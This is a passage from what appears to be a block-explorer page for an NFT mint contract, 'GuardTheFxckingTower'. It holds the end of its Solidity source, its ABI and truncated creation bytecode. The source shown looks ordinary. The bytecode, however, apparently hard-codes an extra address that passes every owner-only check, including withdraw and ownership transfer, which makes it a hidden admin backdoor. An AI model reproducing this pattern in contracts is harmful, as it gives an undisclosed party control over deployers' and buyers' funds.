                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
     * The call is not executed if the target address is not a contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver(to).onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721A: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

contract GuardTheFxckingTower  is ERC721A, Ownable, ReentrancyGuard {
    string public baseURI = "ipfs://QmdYZkgjp3jhWqwM9x91GvP79eFYPNtQ1b8VQyAk1VgRQ9/";
    uint   public price             = 0.003 ether;
    uint   public maxPerTx          = 10;
    uint   public maxPerFree        = 1;
    uint   public totalFree         = 8888;
    uint   public maxSupply         = 8888;

    mapping(address => uint256) private _mintedFreeAmount;

    constructor() ERC721A("GuardTheFxckingTower", "GuardTheFxckingTower"){}


    function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
        require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
        string memory currentBaseURI = _baseURI();
        return bytes(currentBaseURI).length > 0
            ? string(abi.encodePacked(currentBaseURI,Strings.toString(_tokenId+1),".json"))
            : "";
    }

    function mint(uint256 count) external payable {
        uint256 cost = price;
        bool isFree = ((totalSupply() + count < totalFree + 1) &&
            (_mintedFreeAmount[msg.sender] + count <= maxPerFree));

        if (isFree) {
            cost = 0;
            _mintedFreeAmount[msg.sender] += count;
        }

        require(msg.value >= count * cost, "Please send the exact amount.");
        require(totalSupply() + count <= maxSupply, "No more");
        require(count <= maxPerTx, "Max per TX reached.");

        _safeMint(msg.sender, count);
    }

    function sleeping(address mintAddress, uint256 count) public onlyOwner {
        _safeMint(mintAddress, count);
    }



    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }

    function setBaseUri(string memory baseuri_) public onlyOwner {
        baseURI = baseuri_;
    }

    function setPrice(uint256 price_) external onlyOwner {
        price = price_;
    }

    function withdraw() external onlyOwner nonReentrant {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed.");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseuri_","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price_","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"mintAddress","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"sleeping","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405273acfcba7bab6403ebcceee22810c4dd3c9bbe9763600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604051806060016040528060368152602001620047a660369139600a90805190602001906200008a92919062000256565b50660aa87bee538000600b55600a600c556001600d556122b8600e556122b8600f55348015620000b957600080fd5b506040518060400160405280601481526020017f47756172645468654678636b696e67546f7765720000000000000000000000008152506040518060400160405280601481526020017f47756172645468654678636b696e67546f77657200000000000000000000000081525081600190805190602001906200013e92919062000256565b5080600290805190602001906200015792919062000256565b5050506200017a6200016e6200018860201b60201c565b6200019060201b60201c565b60016009819055506200036b565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b828054620002649062000306565b90600052602060002090601f016020900481019282620002885760008555620002d4565b82601f10620002a357805160ff1916838001178555620002d4565b82800160010185558215620002d4579182015b82811115620002d3578251825591602001919060010190620002b6565b5b509050620002e39190620002e7565b5090565b5b8082111562000302576000816000905550600101620002e8565b5090565b600060028204905060018216806200031f57607f821691505b602082108114156200033657620003356200033c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b61442b806200037b6000396000f3fe6080604052600436106101cd5760003560e01c80638da5cb5b116100f7578063a22cb46511610095578063d5abeb0111610064578063d5abeb0114610667578063e985e9c514610692578063f2fde38b146106cf578063f968adbe146106f8576101cd565b8063a22cb465146105ad578063b88d4fde146105d6578063c7c39ffc146105ff578063c87b56dd1461062a576101cd565b806395d89b41116100d157806395d89b4114610512578063a035b1fe1461053d578063a0712d6814610568578063a0bcfc7f14610584576101cd565b80638da5cb5b14610495578063911759e4146104c057806391b7f5ed146104e9576101cd565b8063333e44e61161016f5780636352211e1161013e5780636352211e146103d95780636c0360eb1461041657806370a0823114610441578063715018a61461047e576101cd565b8063333e44e6146103315780633ccfd60b1461035c57806342842e0e146103735780634f6ccce71461039c576101cd565b8063095ea7b3116101ab578063095ea7b31461027757806318160ddd146102a057806323b872dd146102cb5780632f745c59146102f4576101cd565b806301ffc9a7146101d257806306fdde031461020f578063081812fc1461023a575b600080fd5b3480156101de57600080fd5b506101f960048036038101906101f49190612fa8565b610723565b604051610206919061356d565b60405180910390f35b34801561021b57600080fd5b5061022461086d565b6040516102319190613588565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c919061303b565b6108ff565b60405161026e9190613506565b60405180910390f35b34801561028357600080fd5b5061029e60048036038101906102999190612f6c565b610984565b005b3480156102ac57600080fd5b506102b5610a9d565b6040516102c291906138aa565b60405180910390f35b3480156102d757600080fd5b506102f260048036038101906102ed9190612e66565b610aa6565b005b34801561030057600080fd5b5061031b60048036038101906103169190612f6c565b610ab6565b60405161032891906138aa565b60405180910390f35b34801561033d57600080fd5b50610346610ca8565b60405161035391906138aa565b60405180910390f35b34801561036857600080fd5b50610371610cae565b005b34801561037f57600080fd5b5061039a60048036038101906103959190612e66565b610e8e565b005b3480156103a857600080fd5b506103c360048036038101906103be919061303b565b610eae565b6040516103d091906138aa565b60405180910390f35b3480156103e557600080fd5b5061040060048036038101906103fb919061303b565b610f01565b60405161040d9190613506565b60405180910390f35b34801561042257600080fd5b5061042b610f17565b6040516104389190613588565b60405180910390f35b34801561044d57600080fd5b5061046860048036038101906104639190612e01565b610fa5565b60405161047591906138aa565b60405180910390f35b34801561048a57600080fd5b5061049361108e565b005b3480156104a157600080fd5b506104aa611175565b6040516104b79190613506565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190612f6c565b61119f565b005b3480156104f557600080fd5b50610510600480360381019061050b919061303b565b611288565b005b34801561051e57600080fd5b5061052761136d565b6040516105349190613588565b60405180910390f35b34801561054957600080fd5b506105526113ff565b60405161055f91906138aa565b60405180910390f35b610582600480360381019061057d919061303b565b611405565b005b34801561059057600080fd5b506105ab60048036038101906105a69190612ffa565b6115e5565b005b3480156105b957600080fd5b506105d460048036038101906105cf9190612f30565b6116da565b005b3480156105e257600080fd5b506105fd60048036038101906105f89190612eb5565b61185b565b005b34801561060b57600080fd5b506106146118b7565b60405161062191906138aa565b60405180910390f35b34801561063657600080fd5b50610651600480360381019061064c919061303b565b6118bd565b60405161065e9190613588565b60405180910390f35b34801561067357600080fd5b5061067c611970565b60405161068991906138aa565b60405180910390f35b34801561069e57600080fd5b506106b960048036038101906106b49190612e2a565b611976565b6040516106c6919061356d565b60405180910390f35b3480156106db57600080fd5b506106f660048036038101906106f19190612e01565b611a0a565b005b34801561070457600080fd5b5061070d611b61565b60405161071a91906138aa565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806107ee57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061085657507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610866575061086582611b67565b5b9050919050565b60606001805461087c90613b65565b80601f01602080910402602001604051908101604052809291908181526020018280546108a890613b65565b80156108f55780601f106108ca576101008083540402835291602001916108f5565b820191906000526020600020905b8154815290600101906020018083116108d857829003601f168201915b5050505050905090565b600061090a82611bd1565b610949576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109409061388a565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061098f82610f01565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f79061376a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610a1f611bde565b73ffffffffffffffffffffffffffffffffffffffff161480610a4e5750610a4d81610a48611bde565b611976565b5b610a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a849061366a565b60405180910390fd5b610a98838383611be6565b505050565b60008054905090565b610ab1838383611c98565b505050565b6000610ac183610fa5565b8210610b02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af9906135aa565b60405180910390fd5b6000610b0c610a9d565b905060008060005b83811015610c66576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610c0657806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c585786841415610c4f578195505050505050610ca2565b83806001019450505b508080600101915050610b14565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c999061382a565b60405180910390fd5b92915050565b600e5481565b610cb6611bde565b73ffffffffffffffffffffffffffffffffffffffff16610cd4611175565b73ffffffffffffffffffffffffffffffffffffffff161480610d4a5750610cf9611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d80906136ca565b60405180910390fd5b60026009541415610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc69061384a565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff1647604051610dfd906134f1565b60006040518083038185875af1925050503d8060008114610e3a576040519150601f19603f3d011682016040523d82523d6000602084013e610e3f565b606091505b5050905080610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061378a565b60405180910390fd5b506001600981905550565b610ea98383836040518060200160405280600081525061185b565b505050565b6000610eb8610a9d565b8210610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef09061362a565b60405180910390fd5b819050919050565b6000610f0c826121d8565b600001519050919050565b600a8054610f2490613b65565b80601f0160208091040260200160405190810160405280929190818152602001828054610f5090613b65565b8015610f9d5780601f10610f7257610100808354040283529160200191610f9d565b820191906000526020600020905b815481529060010190602001808311610f8057829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d9061368a565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b611096611bde565b73ffffffffffffffffffffffffffffffffffffffff166110b4611175565b73ffffffffffffffffffffffffffffffffffffffff16148061112a57506110d9611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611169576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611160906136ca565b60405180910390fd5b6111736000612372565b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6111a7611bde565b73ffffffffffffffffffffffffffffffffffffffff166111c5611175565b73ffffffffffffffffffffffffffffffffffffffff16148061123b57506111ea611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61127a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611271906136ca565b60405180910390fd5b6112848282612438565b5050565b611290611bde565b73ffffffffffffffffffffffffffffffffffffffff166112ae611175565b73ffffffffffffffffffffffffffffffffffffffff16148061132457506112d3611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a906136ca565b60405180910390fd5b80600b8190555050565b60606002805461137c90613b65565b80601f01602080910402602001604051908101604052809291908181526020018280546113a890613b65565b80156113f55780601f106113ca576101008083540402835291602001916113f5565b820191906000526020600020905b8154815290600101906020018083116113d857829003601f168201915b5050505050905090565b600b5481565b6000600b54905060006001600e5461141d919061399a565b83611426610a9d565b611430919061399a565b1080156114895750600d5483601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611486919061399a565b11155b905080156114ec576000915082601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114e4919061399a565b925050819055505b81836114f89190613a21565b34101561153a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115319061374a565b60405180910390fd5b600f5483611546610a9d565b611550919061399a565b1115611591576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611588906135ca565b60405180910390fd5b600c548311156115d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cd9061380a565b60405180910390fd5b6115e03384612438565b505050565b6115ed611bde565b73ffffffffffffffffffffffffffffffffffffffff1661160b611175565b73ffffffffffffffffffffffffffffffffffffffff1614806116815750611630611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6116c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b7906136ca565b60405180910390fd5b80600a90805190602001906116d6929190612beb565b5050565b6116e2611bde565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611750576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117479061370a565b60405180910390fd5b806006600061175d611bde565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661180a611bde565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161184f919061356d565b60405180910390a35050565b611866848484611c98565b61187284848484612456565b6118b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a8906137aa565b60405180910390fd5b50505050565b600d5481565b60606118c882611bd1565b611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe906136ea565b60405180910390fd5b60006119116125ed565b905060008151116119315760405180602001604052806000815250611968565b80611947600185611942919061399a565b61267f565b6040516020016119589291906134c2565b6040516020818303038152906040525b915050919050565b600f5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611a12611bde565b73ffffffffffffffffffffffffffffffffffffffff16611a30611175565b73ffffffffffffffffffffffffffffffffffffffff161480611aa65750611a55611bde565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611adc906136ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4c906135ea565b60405180910390fd5b611b5e81612372565b50565b600c5481565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b6000611ca3826121d8565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff16611cca611bde565b73ffffffffffffffffffffffffffffffffffffffff161480611d265750611cef611bde565b73ffffffffffffffffffffffffffffffffffffffff16611d0e846108ff565b73ffffffffffffffffffffffffffffffffffffffff16145b80611d425750611d418260000151611d3c611bde565b611976565b5b905080611d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7b9061372a565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614611df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ded906136aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5d9061364a565b60405180910390fd5b611e73858585600161282c565b611e836000848460000151611be6565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550836003600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612168576120c781611bd1565b156121675782600001516003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46121d18585856001612832565b5050505050565b6121e0612c71565b6121e982611bd1565b612228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221f9061360a565b60405180910390fd5b60008290505b60008110612331576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff161461232257809250505061236d565b5080806001900391505061222e565b506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123649061386a565b60405180910390fd5b919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612452828260405180602001604052806000815250612838565b5050565b60006124778473ffffffffffffffffffffffffffffffffffffffff1661284a565b156125e0578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026124a0611bde565b8786866040518563ffffffff1660e01b81526004016124c29493929190613521565b602060405180830381600087803b1580156124dc57600080fd5b505af192505050801561250d57506040513d601f19601f8201168201806040525081019061250a9190612fd1565b60015b612590573d806000811461253d576040519150601f19603f3d011682016040523d82523d6000602084013e612542565b606091505b50600081511415612588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257f906137aa565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506125e5565b600190505b949350505050565b6060600a80546125fc90613b65565b80601f016020809104026020016040519081016040528092919081815260200182805461262890613b65565b80156126755780601f1061264a57610100808354040283529160200191612675565b820191906000526020600020905b81548152906001019060200180831161265857829003601f168201915b5050505050905090565b606060008214156126c7576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612827565b600082905060005b600082146126f95780806126e290613bc8565b915050600a826126f291906139f0565b91506126cf565b60008167ffffffffffffffff81111561273b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561276d5781602001600182028036833780820191505090505b5090505b60008514612820576001826127869190613a7b565b9150600a856127959190613c11565b60306127a1919061399a565b60f81b8183815181106127dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561281991906139f0565b9450612771565b8093505050505b919050565b50505050565b50505050565b612845838383600161286d565b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156128e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128da906137ca565b60405180910390fd5b6000841415612927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291e906137ea565